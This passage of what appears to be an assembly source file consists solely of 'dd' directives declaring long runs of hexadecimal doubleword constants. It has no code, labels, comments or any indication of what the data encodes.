dd 0ED256640h, 87E01800h, 0E7C68DF3h, 796F001Bh, 0D8A5E507h
dd 0B3033FB5h, 67A8CC1Fh, 0E481802Ah, 91160036h, 38BDCD10h
dd 1E002871h, 5450BFDCh, 9095FB3Ah, 9A5A008Ch, 0D01C7F68h
dd 0C1006F5Ch, 15F40BFh, 0B5CFB1F3h, 33388058h, 128D007Fh
dd 9ACCFDDCh, 106348A9h, 0B521097Eh, 0F0A16C27h, 0CC25209Dh
dd 5F3C5E98h, 80E8BF0Ch
dd 5C22139Fh, 0EBFA07Ch, 366DD609h, 0FD00DE4Bh, 0B8BE688Ch
dd 47C6F100h, 6B541887h, 62F900E5h, 2D260D9Ch, 923A5BC0h
dd 90C987D4h, 0F040A77Ch, 902EDEEAh, 51960078h, 76A6E108h
dd 0FA07BFD7h, 0ED298DACh, 0E6B77E80h, 0EF82507Ah, 0D4E70043h
dd 5425A655h, 863F070Bh, 418882CAh, 801C570Fh, 0E6FB1F8h
dd 9D5B1DBCh, 8B3F8074h, 72C590BFh, 1F4CDC00h, 91B60EE2h
dd 0A4EA85h, 0E848ED07h, 449A173Dh, 94317400h, 1005978Fh
dd 0DB87283Ah, 7AAD0090h, 57DA4737h, 2100C2E1h, 0F06B71D2h
dd 0FEFAC49Bh, 3A400ADh, 2BBA776Eh, 7803441Fh, 0EF95B1AAh
dd 45E6A815h, 60BE00FEh, 800A7917h, 5509E9F7h, 489DE7h
dd 2B4968CCh, 24970099h, 590A886Dh, 0D9000644h, 7094E225h
dd 0B286C7h, 7EDE79EDh, 9354078Fh, 31812C14h, 3AD91FE0h
dd 398E7500h, 9703F51h, 800C5B77h, 0D7ABD801h, 0F086C92Dh
dd 5C019F5Fh, 59414718h, 68F89376h, 0F728C09Bh, 0DA1E6B90h
dd 0CCA46D02h, 604F2E2Dh, 0EEBBB498h, 88B14CC1h, 738A6E3Fh
dd 0CC96F7h, 11A22ADAh, 3E0CEE9Eh, 18A9CF9Ch, 5CF2E4h
dd 0D91F6135h, 0C20A07A0h, 96C5F118h, 563649h, 31C83A33h
dd 2D404550h, 82FFD20Eh, 69AE0DCh, 0B29C92D8h, 14BD09A4h
dd 80807417h, 0C9280354h, 55B88E60h, 75588C31h, 0A4920025h
dd 4BF50BC2h, 51F4E21h, 0E653F7FBh, 0E306B020h, 0E583963h
dd 0C07F4C00h, 0C2CC8B39h, 411E100h, 4B3FE7F0h, 0C8826040h
dd 18208EA7h, 0C75F2100h, 56E0619Dh, 0FF52000Ah, 0B2EB855Ch
dd 8001CD71h, 0F287F0A0h, 69D8E0B5h, 81360221h, 0EC9DFB0Fh
dd 0E8F08468h, 49B03F00h, 0E23550D1h, 0F6C0009Fh, 5AA17859h
dd 0EB024D25h, 5841A9DAh, 65EFE04Fh, 0DEAF00A6h, 0E13A2DABh
dd 96007D21h, 0C3645F7Ch, 0E4BE1960h, 8844003Dh, 48A02612h
dd 0CC984CEAh, 7B6F333Dh, 2861DF01h, 0C523CC4h, 3F4BDED0h
dd 0E1804071h, 8A5989FFh, 2E0E5ABBh, 0A0C54E54h, 472DBF2Fh
dd 68F303A9h, 0B607266Dh, 0F9A729A9h, 50DDCE6h, 17334800h
dd 0EAE8B1C2h, 82EF002Ch, 88DE066Bh, 3C4C6A77h, 325100F8h
dd 1509CE22h, 0B4F4FD10h, 49010370h, 0F772A120h, 336F1DE8h
dd 93167B00h, 0BBEA74B3h, 0A430013h, 0B257A295h, 0F400A71Eh
dd 3787FE5Ch, 5FB6E5h, 0BE926AA4h, 0A76C9BBh, 4C076090h
dd 2F744775h, 6BA9671h, 5389E4h, 913E883h, 54F35CE0h, 9B9C1F04h
dd 33C0DAC7h, 1A7B4Dh, 2885A9EFh, 0B8CE9396h, 5B0AFE00h
dd 0CA583157h, 388EFA8Fh, 5D007D98h, 80DBAFF5h, 0F616D9DFh
dd 2000A348h, 0D4E16634h, 6296000Ch, 0F1CB9BFDh, 8A00CEB0h
dd 3923751Ah, 24CA85A8h, 28617Dh, 0B576F438h, 92000BACh
dd 6E8D3F86h, 0B87E707h, 0EC76612h, 7F672001h, 0E0D83547h
dd 0E80F9349h, 0E4017EACh, 58C0C14Eh, 0AF42E5h, 6FF0C2Ah
dd 0A94A8BBAh, 0A61AC901h, 25C3441Dh, 58DC3921h, 0FED5E435h
dd 37F65Fh, 0B0A764DDh, 6010BD6Eh, 0D78F4816h, 58400812h
dd 0B31A15CFh, 728A3C2Bh, 0C8AB9000h, 0F98DFA0Ah, 0E4B67D2Eh
dd 6F149580h, 2618D1FEh, 7C82A4h, 0C0ABC57Bh, 0B57E45E7h
dd 4023BBA0h, 4CECFD98h, 61584B90h, 0CB0E00E7h, 0B6BD8EFCh
dd 78B27475h, 1E6000Ah, 0B8364CE4h, 71E06ECFh, 0AACA74Ch
dd 0F6A0EF89h, 0FD19003Fh, 0B4345D04h, 26A703DBh, 376B5F80h
dd 0C86DA1D8h, 2C0015F0h, 49E4E0ACh, 0CD2477h, 0F57A3673h
dd 683498F9h, 111A600h, 0E18CEF87h, 0F34D3893h, 3C7726h
dd 0B7D0C295h, 0A9904632h, 7234B401h, 473E31F1h, 2BF4CE8h
dd 6C6524FDh, 8850214Eh, 23175D00h, 38B92DF5h, 2EA300C6h
dd 99CF7009h, 6E00125Eh, 0E4EE88E1h, 9056CDh, 0F1B35207h
dd 6D1C38E0h, 16001579h, 35D97D6Bh, 9287643h, 30CAE9ECh
dd 2D473040h, 0C08C2B00h, 89822AFCh, 7995005Fh, 0FB7FAB1Ch
dd 0B8E2C161h, 86C46400h, 5ED4007h, 713F290h, 2DA3B4E9h
dd 6CFBE063h, 6E076479h, 9276D751h, 0E6B391C0h, 0B26900Eh
dd 72228203h, 6CAC1080h, 1EE627Fh, 1642DB00h, 9C125B59h
dd 0A6935C9Ah, 0CC886801h, 0C43A8C5Dh, 5A0186F7h, 0FB11C02Ah
dd 0B6702772h, 0C41600DDh, 0B8620628h, 0A324695Bh, 0D01CA468h
dd 0C06007CFh, 779F96FDh, 0AF38007Dh, 17AED64Ah, 1CB042FFh
dd 9A77E673h, 28E43D1Dh, 242B5140h, 0FE0A2C4h, 43FC4D21h
dd 0A3025902h, 0B9C3C4E8h, 7C27112Eh, 74166B40h, 0E57003C1h
dd 0BE9CBB64h, 80FD23E1h, 668613A0h, 1FC72561h, 0EC51DC38h
dd 96070004h, 56B9FF60h, 7D647200h, 0ECC44731h, 0F6983957h
dd 6DC63780h, 0C15E3B94h, 0D8A88230h, 7DA445h, 0D97BAE13h
dd 233A1975h, 59A10300h, 1C39DBDDh, 2C8600EBh, 6770285Dh
dd 37005E76h, 0D5E7C6C7h, 0F07263h, 0C354ADFFh, 780A89E5h
dd 7B40D900h, 931CBA5Fh, 9BC200B5h, 7645FD26h, 0ED0035E9h
dd 0FFACD8F4h, 9B5045Bh, 40A255A6h, 0BFE85860h, 0EB5F5101h
dd 9AACBBD3h, 0CBAC60h, 0D25503BCh, 0FF3F740Fh, 58804900h
dd 0A102EA70h, 1FE500B2h, 8E607DB9h, 1800443Ah, 0A3F1FE5Eh
dd 4E0524h, 0A25F738Ah, 99C4E637h, 8E59FB78h, 0AD5E00E8h
dd 0F753DBE7h, 0FF5800B6h, 0C7EF1E14h, 0FD7FDC42h, 6238DF0Fh
dd 0E0EE8982h, 0CFA31388h, 0AFA0A5A9h, 4FACFD36h, 1B833B00h
dd 0C2CAEF3Fh, 0E2E90063h, 5DF0672Dh, 271F92A8h, 0B542AC73h
dd 785BA714h, 15050B4Ch, 73006A5Ah, 4CAA768Ch, 0BC5358A8h
dd 0F8712100h, 9B9FBAD6h, 38093052h, 10938288h, 1A973300h
dd 0E387183Bh, 0ACCF02DAh, 0D9C1BEF2h, 156E9080h, 930072EEh
dd 43A9DD35h, 70F15FF0h, 52A0929h, 0A0017BE9h, 802018F7h
dd 1C36CB90h, 3E26ED81h, 3DB06D8Ah, 0EB1E8E38h, 4D4F910Bh
dd 0AC6C0302h, 0DE95B948h, 0F30DD4h, 0A66D2EFFh, 3387A991h
dd 8357113Ch, 0AD6AE68Fh, 547DA0B4h, 185300DFh, 27376C60h
dd 9E030C2Bh, 7CCEB9B7h, 0DF529006h, 0E4B4F6Dh, 5647B364h
dd 0CD506092h, 841398EDh, 0F440D3F7h, 89FA0936h, 287E000Eh
dd 0A1DAEDC2h, 7738D242h, 4F57801Ah, 8BB76DD4h, 0C22627ADh
dd 160F9081h, 0E8A1D286h, 8040A537h, 21192918h, 0A9F90EBh
dd 0A9F3BD86h, 0CFC760D0h, 0E424485Eh, 0EE00CB96h, 604EB4A4h
dd 49CC0130h, 7503140Eh, 1A84D80Ch, 0B620949Ch, 12B95D00h
dd 0CD737AE6h, 6953003Bh, 3A9B83Fh, 3532FD78h, 6018F644h
dd 6E9EAB8h, 0FA0E3C7Fh, 7E003A71h, 0A2C1CB91h, 0F0D115Dh
dd 29B8F2AFh, 0A880C82Bh, 18156F44h, 0A8D0791Fh, 0F9B20F00h
dd 2414F707h, 81184E2Dh, 2BB5D89Eh, 4C817B92h, 8AD9F39Ch
dd 798DECh, 0D649D422h, 681A67B4h, 43E440EDh, 0D7009A23h
dd 99E3570h, 442CCEDh, 2A53717Eh, 529683C4h, 60171000h
dd 0D91E5EA4h, 13EC00BFh, 212DAA30h, 0E8C2CED5h, 48A475BAh
dd 65312B7Ch, 0C3389942h, 0EDABA128h, 0C06F0289h, 0AA05FBB2h
dd 89D97AA2h, 0D44D7EC0h, 0F7750066h, 0CF87036Ah, 0EDEF3E86h
dd 4540606Eh, 0F869C101h, 39130512h, 0BF3EDC40h, 0C850000Ah
dd 10DAD65Fh, 9001B89Dh, 89F23A1Fh, 24205DA9h, 84B5132Ah
dd 98133Eh, 0F17CCA2Eh, 2F32049Fh, 0C00AB08Ah, 34978Ch
dd 8C289E53h, 636E3339h, 5B36B502h, 0D093DEF8h, 0A04B001Ch
dd 469A8B0Ah, 0A600713Bh, 0A5B70576h, 1E7C515h, 0B414F3D9h
dd 0D56CEB2Ch
dd 5FBAF8A1h, 5045DD14h, 0AB900B8h, 378955D4h, 7E2A03F1h
dd 57DC12D7h, 0BEAF18C9h, 4B981628h, 592CCCC2h, 31D3803Ch
dd 6A461D45h, 1E2A70C0h, 8097F92Fh, 17046853h, 7AC6B861h
dd 202AF480h, 3ECC39A5h, 18A7A918h, 8700523Ah, 38977C89h
dd 92D111D7h, 0BFE73968h, 0B0F380E4h, 5B4CA9FCh, 5017E0Fh
dd 6354DB69h, 0F8FCAB62h, 44EF4C19h, 9CD8B800h, 0DA6D95B4h
dd 0E56A2E00h, 10D96C45h, 0B95B0A85h, 3DFE3CBCh, 0C1B03A80h
dd 622C5C11h, 16870F16h, 0F300541Dh, 0CAA62E82h, 971400EFh
dd 0CBE0987Dh, 0D0B8DD1h, 0E39EFEh, 8BF9A5C4h, 154B00E5h
dd 97F1AC52h, 6A1F8CE7h, 0AE056EBCh, 82831727h, 0D7498D9h
dd 0DD8B02A8h, 31195BA1h, 0BEF5ECE0h, 9129413h, 0D1AC2402h
dd 0E6442055h, 2E00D5F3h, 90AA5C24h, 50CABD12h, 0E59018h
dd 387E00Dh, 0F2312FE1h, 8101641Ch, 2957F980h, 0D06F9Ch
dd 7BDEC8B4h, 0B1EBEA1Eh, 336C8E03h, 0D889D785h, 707E53D6h
dd 0E99F0B18h, 0D0802BB8h, 0C07ABE98h, 86F50086h, 0BAE2626Dh
dd 0C1130D55h, 74CC7641h, 257708h, 0E4FD3F80h, 0AB14F249h
dd 0E9A45D1Fh, 0B4666344h, 0C4DDBDC3h, 0E8641489h, 40C0152h
dd 66388D0Bh, 6F7B3035h, 1F419001h, 2AF56CEEh, 48B374DCh
dd 16032C0Ah, 695CEDB7h, 6B4DA489h, 1F8444B0h, 0CEC74309h
dd 6CE38FA2h, 0A1F8A9DEh, 96010825h, 0B0C969ABh, 0E42CD38Bh
dd 7982E580h, 16008811h, 736CF036h, 92DC9Ah, 2365C712h
dd 813DE6D0h, 7FEE3C00h, 193B9667h, 0A4B24F0h, 29808B54h
dd 3FFC806Ch, 262CA05Dh, 808F94CFh, 6120B87Ah, 0C37C0036h
dd 96474DCBh, 1726A032h, 7A131074h, 27E92302h, 98F8703Bh
dd 217907B9h, 1048DBD2h, 0BB5E22FDh, 454E2000h, 0A9A890AFh
dd 8F409717h, 564DF311h, 9894CA8h, 27595C4h, 0E069348Ch
dd 0D4F3B6h, 452FC2C8h, 0DBC520D2h, 4766BB00h, 0AC041181h
dd 0BF4C00EDh, 999FD84Dh, 0E00076E7h, 0A38A8766h, 1C3865Ah
dd 3F2EA048h, 0D8AE4908h, 0C426FC41h, 0F10BB77Dh, 0FEA420CDh
dd 0D807C9h, 482246A4h, 2B722E75h, 0B5AD3Dh, 73AC134h
dd 1EBB541Ah, 0C0CF9D88h, 0FB5A0809h, 170E79A7h, 80CE322Eh
dd 98367470h, 0A32500C3h, 0B1424943h, 4600EAA4h, 552DB420h
dd 48E91FB9h, 0A350E04Ah, 0D058589Fh, 6725EC00h, 41BD7CC9h
dd 0A61E2B02h, 5AA879E1h, 0F6D513E8h, 0D8048076h, 304DD4B7h
dd 3C9000B0h, 99A16EFAh, 0B0CF00ABh, 0AAA5802Ah, 38B471E0h
dd 0C2FD9002h, 0F514E896h, 0CA38C249h, 0C4C0B346h, 9B005E92h
dd 0B7014A69h, 9818949Dh, 11A6006Dh, 0E11F836Bh, 8500C292h
dd 69946D1h, 9A5461D8h, 0D2DB00B8h, 1C317398h, 9302A1E1h
dd 848ED374h, 9852A0h, 63F79442h, 392F23C0h, 98006970h
dd 6BFF910Ah, 0E8B1E7FCh, 0DB800721h, 3217BC41h, 0FC60F5B5h
dd 0FF01B385h, 75BE04A2h, 0E0208279h, 3D6A1CF8h, 0C0C20B0Fh
dd 0EA030800h, 2C603A30h, 0B11B9988h, 0E5560204h, 0D3D083F9h
dd 25ED78E9h, 0CE40DDFCh, 8F50A4D0h, 0B5E06D94h, 0D8C6B709h
dd 0FF1E8002h, 28EA4929h, 0DAB166h, 8BE45812h, 0C506E531h
dd 0F478F000h, 8D9F5E82h, 7D402CF7h, 0B4023F4Ah, 0AE02DFFEh
dd 49737440h, 98D72D0Fh, 31B24465h, 9655C1C1h, 0DC30D0C9h
dd 129B0029h, 6C0B3A07h, 900138E1h, 79955E0Ah, 0F570AD9Ah
dd 0A8113E14h, 7A2F2200h, 675BCF3h, 4E00D47Ch, 21169638h
dd 0A5C693h, 325CC4DCh, 111FEC57h, 39696D00h, 749EC104h
dd 884A04Eh, 70C8F64Bh, 0E7FE0E80h, 7602B5CFh, 0F058D122h
dd 0AB1F7A01h, 75E2397Eh, 7D05883Ch, 808CD689h, 0D529A957h
dd 33A541Ch, 28DFBA1Fh, 94AB7907h, 72B75F30h, 171E13B2h
dd 1A3C40BBh, 82DAC7FAh, 4A433700h, 5C2D09Ah, 50140577h
dd 803ED5C4h, 10EB597Ch, 55A8E200h, 0C2C30124h, 1CF200A2h
dd 0D6716162h, 0A000312Dh, 8B7A918Dh, 7752F69Fh, 3F178DEh
dd 2B37C880h, 0D798A6F4h, 849AC083h, 989EF872h, 0DF840740h
dd 0EBF000D6h, 6F8F096Dh, 2C00544Ch, 8E94CA8Dh, 1AAA03h
dd 3B11DBA1h, 0AFCF075h, 280937FEh, 81D87AC8h, 0DA47173Ah
dd 5406B438h, 982CE443h, 3A012E7Eh, 8E97F625h, 0E8656E34h
dd 340B830h, 29081054h, 0FFA882D1h, 0A6F01AB3h, 0BD63CC07h
dd 484212EEh, 29CD98Fh, 727C7F64h, 7B87DA40h, 1EFADE01h
dd 9FCB68E0h, 0B316E8E7h, 3EC7C5Dh, 0E9666708h, 9DA87475h
dd 49000152h, 301251C4h, 1253E77Ch, 0F928237h, 0A3E07420h
dd 0F97A2EE1h, 0B7ED5D1Fh, 0C519AF41h, 402C610Fh, 759E0750h
dd 310E3EC0h, 14877E00h, 906C162h, 0EF56B71Fh, 37042D80h
dd 770C7802h, 3321004Ah, 9AA0FCCh, 861D8863h, 0F73AD39Dh
dd 0AC12FD00h, 6D605D6Ch, 971800F2h, 0A2FC10E9h, 7803B17Bh
dd 5B2368B0h, 0AD11D8D6h, 0D7A0098h, 0D7880641h, 0CA017FF5h
dd 6B810E3Ch, 69E2AC89h, 0C470DD8Ch, 73E107F2h, 81C17741h
dd 0F89D5E80h, 6B0018B6h, 0F674F814h, 2D366Ch, 4C5CAA60h
dd 0E7EFE80Ch, 4F44CA00h, 37F8B473h, 0AED0009Fh, 7DC76C98h
dd 80EF14E6h, 25BBEEB8h, 73CDBA1Fh, 28A30077h, 0CA64F8F2h
dd 0A5780BB0h, 3D00DBEAh, 977C26FEh, 82F78Ch, 6E672EFAh
dd 0D9B80DF4h, 8A00A492h, 0A5E5A475h, 179AF8C2h, 0C0EDF72Eh
dd 86C331A0h, 3303AD98h, 21FFFE35h, 84EC8D1h, 2A8FA0Dh
dd 0B5DD5A47h, 2C5869DBh, 61D40900h, 3ABDC55Bh, 2F20BEBh
dd 24437FADh, 420DC4D8h, 854809E2h, 158900C4h, 904344B8h
dd 0F5FE282Ch, 118F6918h, 6A139C20h, 0B02F3Fh, 8DDBF40Fh
dd 0CDA6C247h, 82FCE8CBh, 0AD5E308Ch, 0AE942489h, 84E96B1Dh
dd 5781DF03h, 78D6E372h, 186EFC18h, 2020C111h, 0F6016D46h
dd 97A57E5Eh, 2440038Dh, 4D079Eh, 0AEA67CFFh, 193CDB4Eh
dd 975DCA06h, 0C0384C45h, 42674158h, 0F17B1001h, 87F37503h
dd 0FE97B21Fh, 30580068h, 1C3BAA66h, 74008907h, 0BE52D2A0h
dd 584BAC5Dh, 2C0082B9h, 0FD0E8771h, 38008297h, 6572456h
dd 0E65BA5ABh, 818907DFh, 573ACC18h, 3EAE60F1h, 9600EEECh
dd 0CF52FF83h, 38F997E3h, 8480F2D5h, 6330643Ch, 0AB0019A3h
dd 27ACD56h, 1BB901Fh, 1AE4938Bh, 0D379222Eh, 528E50D8h
dd 88FD3C00h, 994E398h, 0EBE1C799h, 83B7120Eh, 8655905Eh
dd 10192476h, 1C618700h, 31F92630h, 35A7DA4h, 33F502A7h
dd 0D4C8B75Bh, 3F005835h, 2F613A1Eh, 53D18Eh, 0CC4C9457h
dd 447BC587h, 0B98C2800h, 0FDDBB633h, 75F91C47h, 40198EE6h
dd 7051A6A0h, 0DE00D8AAh, 4B35CF65h, 0EC01562Ah, 90FE0348h
dd 390B559Eh, 9597BB0h, 0BEA2B50Fh, 72B42079h, 6B2CEEh
dd 69A30EFAh, 0F3D6979Eh, 617D4100h, 0C98C59CFh, 18AB1C7Bh
dd 0A2A8A4h, 0F34B8623h, 0A0C865D0h, 74720600h, 28DA88D1h
dd 98810045h, 10E537CAh, 831E7DCBh, 88586F87h, 2A4EF8h
dd 4052C644h, 0A1B3A926h, 0DF6AD900h, 95D57DCh, 0CA5A1230h
dd 1807FF2Ch, 9F507E68h, 72AE89h, 5EE90556h, 47C465C5h
dd 4335C01Fh, 5F00511Dh, 0C3F3FB3Fh, 6A600BCh, 0AF1B289Eh
dd 8000190Bh, 0CC91FF4h, 0B886827Dh, 0CE7C00ACh, 5A257BA5h
dd 0CF0FCDCCh, 0C041C02Dh, 2AA9BCC1h, 702203AFh, 46D4A65Bh
dd 2F0EF07Dh, 41C7AAF0h, 0C40DA460h, 0ACB0003Bh, 0D7FE402Ah
dd 0AF634300h, 4632ABCCh
dd 6FF10047h, 5C2D4FEEh, 9F07D3D6h, 74125824h, 0C0701580h
dd 6BF000FAh, 75952C88h, 2100C676h, 0C9797AADh, 18EA1C4Bh
dd 106046BDh, 9C0077A6h, 0E7F70AFDh, 97D0203h, 9799F88Dh
dd 0E2894410h, 4EFC000h, 7305A245h, 0A6E6A8h, 0C5338535h
dd 15C12E48h, 0A7A07B00h, 9F02FC6Eh, 0F00FF090h, 0CB0300D3h
dd 5AFB11C4h, 103670Ah, 0F9C6BCE3h, 0A3E78887h, 1E3C0158h
dd 61236D5h, 0A79D6079h, 0DAF180EFh, 6E76B51Ah, 89330FC9h
dd 3A8E1ECDh, 0A570C301h, 0F42EE92Fh, 76008E4Dh, 0C1A11BE3h
dd 93ECC0Bh, 0E4E5A25Fh, 2F49FD00h, 0D4925E7Fh, 0BD01202h
dd 81A3F5E1h, 68D895DCh, 3A33F8h, 0ECD3CB4Dh, 0C87DF36Eh
dd 0AD39B31Bh, 6B30F029h, 9720029h, 0AE6026F0h, 8B48F977h
dd 0E8A700D0h, 8F24413Dh, 96200F6h, 2AC55A20h, 0B07D933h
dd 91A46CD6h, 6383F41Ah, 0F2C68567h, 4100F747h, 0C5BE4352h
dd 0E4E0600h, 8C2CB873h, 4C8E9812h, 0AD003AC7h, 6C602F77h
dd 0A9302DEAh, 0FC41989Eh, 34390257h, 7F452791h, 3DB89880h
dd 7003F2B9h, 599BEA8Ah, 7418007Ch, 31A8C019h, 2F154807h
dd 8CF0E3h, 5D242EE9h, 0CE8F1Dh, 37D62B8Dh, 97724D0Dh
dd 288BD200h, 32042733h, 3E1A3B42h, 802C1DA6h, 0EDEFF667h
dd 1B0070BEh, 0C3A6C16Ch, 3F98D777h, 8863B943h, 0FFD08493h
dd 3A0FB55Fh, 801744E1h, 5C7FEEA7h, 0B46E0074h, 0C16D68BAh
dd 4B00EF85h, 44D0D650h, 19332F1Dh, 1A3EB4FCh, 19827064h
dd 81740B3Bh, 0C41392C2h, 90801E1Ch, 5D82D9AEh, 3200F0BBh
dd 81DD896Dh, 2E6054h, 0D3FA71A7h, 8AC3368Fh, 0DE20100h
dd 99584C28h, 38C09A32h, 0CA040B95h, 0C2CB5E31h, 0A240A3B8h
dd 0B6000CDAh, 0DB84BC1Bh, 3521CA2h, 0ED54886Ah, 65E19087h
dd 62C4EC39h, 5B3D4700h, 63178027h, 744C003Ch, 3E022CCh
dd 0D3001348h, 120ED0D4h, 0AE79DEh, 33BA5908h, 0FC836E2Fh
dd 0FA5BA105h, 0D040CF81h, 7376D582h, 913F0339h, 496E0BF7h
dd 93A8DCD8h, 0A2064400h, 8323FBA5h, 88B603CBh, 7147499Bh
dd 0F4F7BD98h, 0E4D29C00h, 0E0C2F1FFh, 28EE00B2h, 8AE3D307h
dd 0C7009A68h, 5C4A673Bh, 3585B7h, 997BA8C5h, 0AA092D34h
dd 1B5E7C00h, 8658034Ah, 2A8802FFh, 0EE86319h, 8609CA2h
dd 809B2710h, 0F800B1A5h, 0CE3CC3B6h, 279B85Ah, 86F0AFCBh
dd 0B868309Ch, 980982D8h, 0F14A0DDh, 3AE8C020h, 0D99BE2h
dd 0AA43122Fh, 0BC72A149h, 0EDDA3700h, 9A3097F2h, 98A73AC9h
dd 6140FE80h, 0F40DDCA1h, 7476993Fh, 5EF38A00h, 0E0C52C9h
dd 5476D0h, 0FCA2E0A1h, 8161E1DDh, 45DA86C0h, 1E92CFCCh
dd 0F95CEA23h, 0BC598E00h, 6A4A0C19h, 0C3469F01h, 7AF409Dh
dd 0D670F8CDh, 269730DBh, 754FFFE8h, 0B3242300h, 4BD9BC47h
dd 0F1275DCh, 0CD83F605h, 7F4ACC01h, 33308FE0h, 3488C05Eh
dd 6315E2h, 4EA004B4h, 0FF9F0DD8h, 3865FB01h, 1B92675Eh
dd 5A8798EFh, 9CE1164Fh, 0BCE00020h, 0AFF87B50h, 2E853C1Fh
dd 0C0BF5E00h, 471633h, 0D2A57D9Fh, 0E4814B6Fh, 9936FD00h
dd 4623D0B2h, 0EDB50037h, 0C16FED5h, 157878F8h, 0AE478200h
dd 347A55B0h, 791C0002h, 0F04F05E6h, 300084F5h, 0DDCF4E2Ah
dd 3D50225Bh, 4100B749h, 13A212C6h, 7C79A19Eh, 0A41C5892h
dd 43986274h, 1D2B28h, 9DAF2170h, 0AE63D0D1h, 9FCBBB01h
dd 0EA3C6B64h, 0E93E30h, 0ACFA2DD9h, 63D35117h, 3528B100h
dd 2BE4D5C0h, 327A005Bh, 178CDCCAh, 2C01BC29h, 52B006A1h
dd 5C8B646Bh, 67807D98h, 0EAE95972h, 20098B25h, 18D2D858h
dd 977D0742h, 415D4446h, 3190669Ah, 0F3ADE1CCh, 36EC0D7h
dd 6C92C3CFh, 0F6764600h, 548DDB8Fh, 844B00F5h, 69E79A5Ah
dd 7E253E06h, 0CE8C307Dh, 0D874D2h, 0A18C89C1h, 6691498Ah
dd 0B674EAF8h, 8030B86Fh, 6F0F6008h, 5AD804D6h, 0A5B42353h
dd 0D356C0B8h, 1C978700h, 3A0E2DABh, 3D5A39D1h, 0FB893080h
dd 674D5B44h, 63843614h, 0C8089740h, 0C2A4804Fh, 78CAFAE6h
dd 0AFA81216h, 0BC308417h, 506744A1h, 0CDD08Ah, 0B22FBF94h
dd 4FA60496h, 4CB11D03h, 0C045F733h, 19D38A9h, 0B56B6C0h
dd 406BC17Dh, 644DA595h, 30946800h, 54EE0623h, 87A402ABh
dd 77ED076Bh, 6D9395C0h, 0F3C27B07h, 3BE135FCh, 0DEC04FA9h
dd 1BDCF7BAh, 0C5F000E6h, 5C213A2Bh, 2700F9ACh, 36CD2ED3h
dd 17CC9Eh, 3ECC4C1h, 0AB89B9F5h, 0F3D58601h, 8F43BFC9h
dd 0C69834h, 0D2FC6301h, 0EA755E5Fh, 0DA599303h, 0D00B981Fh
dd 54BB1B3Eh, 3A7198A0h, 4B0042F9h, 5EA7EC5Dh, 4E72400Ah
dd 575820B7h, 24312Ah, 0A20C9369h, 34872837h, 3244B301h
dd 4875D755h, 0D3E8406Bh, 0FE7DCB43h, 68D4206h, 484E14h
dd 92DE099Eh, 51401653h, 1EE21901h, 8E9D41CAh, 18FC56F2h
dd 0A8C7095Fh, 75B53748h, 0CB3C5900h, 0B75AFF19h, 4DF53DBFh
dd 67563001h, 80F34035h, 9EA315A9h, 0F77944h, 0DC89434Ch
dd 4751BB09h, 13ACAD00h, 3FCE650Eh, 67930050h, 96028D5Eh
dd 4FF25B01h, 0AC907C5Bh, 0E64327h, 644C1821h, 0E783F7C3h
dd 0A0988722h, 2635098h, 8A6EADECh, 6223C255h, 89CFE9AFh
dd 1CFFCAC4h, 81D3C12Ch, 5460A99Eh, 9E18095h, 6B135A6Ah
dd 46530F80h, 45C79D63h, 8D21637Ah, 0D0626991h, 0B9019FD9h
dd 933EFA5h, 0B0C0DACDh, 0C6563CEAh, 0BD123600h, 2D9AB54Dh
dd 0C9116D03h, 776EB7Ch, 7DC49CA9h, 5B84F0CDh, 0DA00BCA0h
dd 0C1E92FA9h, 5EAA2E7h, 5E1CC8C4h, 86D50007h, 0D35DBFF1h
dd 761801F2h, 0FE187CB1h, 0E671E75h, 289B0586h, 2D18008Eh
dd 45D005B6h, 0C2D2BF0Eh, 0F388A038h, 1F4B9B2Bh, 0CA28D6h
dd 4936A2A9h, 4000139Dh, 57BF032Dh, 0EEB3CCh, 0EC0529Ch
dd 3523BD8Ah, 6331E505h, 142C434Dh, 3D1D0177h, 0A4E36762h
dd 60284E43h, 0A84516E0h, 78DD00B2h, 6503ED42h, 59009ECDh
dd 36B9B50Ah, 14322F75h, 14AB2AB2h, 6652A6F0h, 7D51E305h
dd 742CC7E0h, 43500302h, 633DAF97h, 0DEC8E8BBh, 5A00B975h
dd 7A98270Fh, 0A7BA918Ah, 1A4E0034h, 63764347h, 51E93F15h
dd 6F728020h, 291536BBh, 6844D387h, 197C01CCh, 57731170h
dd 7D048AD4h, 1FDED161h, 513B1086h, 0FC7F1815h, 1C195B00h
dd 0F0D2099h, 0E0CFC86h, 3B7484BAh, 19BB98E1h, 887DC9FDh
dd 45429h, 0AE402568h, 82070801h, 1F92F920h, 5B219420h
dd 14F607h, 12A234EEh, 0C3D497E0h, 4A172900h, 1E0E4B5Eh
dd 0FA7705h, 0AD61CDD6h, 993A3E51h, 624D7400h, 2B870F81h
dd 85F000E0h, 0A69E8677h, 0C0EF7507h, 390067B3h, 64A39FECh
dd 0FB856F7h, 8ECB6FD7h, 3E2B4D40h, 0FC00FBC7h, 5C4110DCh
dd 3222F62h, 54D860C5h, 3DF038B3h, 9C00B718h, 0FB6BE08Bh
dd 0E44F55h, 4E641785h, 0B0CF03Ch, 99044B30h, 0B001A82Bh
dd 9CF40011h, 0A5226758h, 9F003C55h, 534A327Eh, 1D01D289h
dd 0BBC5A606h, 4F0EC480h, 0DD1EE44Eh, 545AE900h, 196A06C6h
dd 3E3900AFh, 0CA662635h, 8600C228h, 149EA1BBh, 3DAAA679h
dd 0B980BF57h, 0B2F3DB9Ch, 8D28E4C7h, 0EE00E819h, 68636E6Fh
dd 60A18218h, 0E6E031A8h, 0CF00ABC2h, 9B148819h, 47E298h
dd 5BA26C50h, 646F0C43h, 18E01A09h, 8AED02C0h, 381448C4h
dd 5A24A0A3h, 164FAF2h, 0EDC9C746h, 802954B3h, 0D2AA0958h
dd 0C40C1A7h, 5814211Fh
dd 120063ECh, 832E858Eh, 3D76A38Ch, 900E79FBh, 87E03F84h
dd 0F0F85A5Bh, 9316CD01h, 548F9A0Ah, 11DEF4h, 0CB3B1358h
dd 1C1B3408h, 9EA2672h, 5C207C18h, 1D4511h, 84C05350h
dd 74E7A330h, 0F057B000h, 61BF3783h, 0F79A2439h, 9BDE807Ch
dd 0BDDAFF40h, 24BA49h, 0D5784642h, 811136h, 0DE807AB2h
dd 85059B4Bh, 0EF016C76h, 0AC43F43h, 0F4405BEBh, 0C63B28h
dd 0F721D72Eh, 6F579E66h, 98262313h, 874B1000h, 75A6DB6h
dd 642F0E0Ch, 0BB46E0B2h, 0A21CF7C0h, 3A00EF51h, 0A0B6449Ah
dd 0B4A40013h, 7F102C1Eh, 3308911Ah, 81D6E864h, 0C17E40FFh
